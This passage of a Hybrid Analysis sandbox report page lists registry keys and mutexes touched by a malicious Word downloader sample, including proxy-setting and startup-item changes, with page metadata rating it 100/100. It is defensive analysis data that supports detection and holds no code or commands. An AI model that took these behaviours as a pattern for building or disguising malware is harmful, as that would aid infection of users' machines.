23","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 24\\ITEM 24","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 25\\ITEM 25","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 26\\ITEM 26","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 27\\ITEM 27","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 28\\ITEM 28","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 29\\ITEM 29","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 30\\ITEM 30","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 31\\ITEM 31","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 32\\ITEM 32","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 33\\ITEM 33","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 34\\ITEM 34","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 35\\ITEM 35","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 36\\ITEM 36","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 37\\ITEM 37","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 38\\ITEM 38","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 39\\ITEM 39","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 40\\ITEM 40","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 41\\ITEM 41","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 42\\ITEM 42","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 43\\ITEM 43","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 44\\ITEM 44","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 45\\ITEM 45","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 46\\ITEM 46","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 47\\ITEM 47","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 48\\ITEM 48","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 49\\ITEM 49","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FILE MRU\\ITEM 50\\ITEM 50","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\(DEFAULT)\\(DEFAULT)","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\MTTT\\MTTT","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYSERVER\\PROXYSERVER","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYOVERRIDE\\PROXYOVERRIDE","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTOCONFIGURL\\AUTOCONFIGURL","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\J} \\J} ","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\IU \\IU ","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\EM \\EM ","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\FONTINFOCACHEW\\FONTINFOCACHEW","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]}]},"mutex_activity":{"mutex_created":[{"name":"KYIMEShareCachedData.MutexObject.PSPUBWS","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"name":"KYTransactionServer.MutexObject.PSPUBWS","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"name":"Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"name":"Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"name":"IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\KYIMEShareCachedData.MutexObject.PSPUBWS","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\KYTransactionServer.MutexObject.PSPUBWS","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\MidiMapper_modLongMessage_RefCnt","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACBPIDS_S-1-5-5-0-58022","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACB10_S-1-5-5-0-58022","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"Local\\10MU_ACB10_S-1-5-5-0-58022","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"Local\\10MU_ACBPIDS_S-1-5-5-0-58022","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!dj7fya5!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!dj7fya5!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!dj7fya5!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]}]}},"report_ids":{"sandbox_job_ids":["5741eaceaac2ed1d7be6d8da","56b1daf30e316d1a49a8b2ff","56b1daf30e316d1a49a8b2fd"]}}}]]}] 1d:null 21:[["$","title","0",{"children":"Malicious VB.Heur2.EmoDldr.5.43F2AF24.Gen;Trojan.Jacky.2 Sample 95810b7ed825… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 95810b7ed825…. Malware family: VB.Heur2.EmoDldr.5.43F2AF24.Gen;Trojan.Jacky.2. Threat score 100/100. 8/28 AV engines flagged this file. 7 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/95810b7ed825c4615256b9b72d03c9811c9c602d5bf4a405c2fc2b52d09ce8d9"}],["$","meta","4",{"property":"og:title","content":"Malicious VB.Heur2.EmoDldr.5.43F2AF24.Gen;Trojan.Jacky.2 Sample 95810b7ed825… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 95810b7ed825…. Malware family: VB.Heur2.EmoDldr.5.43F2AF24.Gen;Trojan.Jacky.2. Threat score 100/100. 8/28 AV engines flagged this file. 7 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/95810b7ed825c4615256b9b72d03c9811c9c602d5bf4a405c2fc2b52d09ce8d9"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious VB.Heur2.EmoDldr.5.43F2AF24.Gen;Trojan.Jacky.2 Sample 95810b7ed825… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 95810b7ed825…. Malware family: VB.Heur2.EmoDldr.5.43F2AF24.Gen;Trojan.Jacky.2. Threat score 100/100. 8/28 AV engines flagged this file. 7 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2d","11",{}]]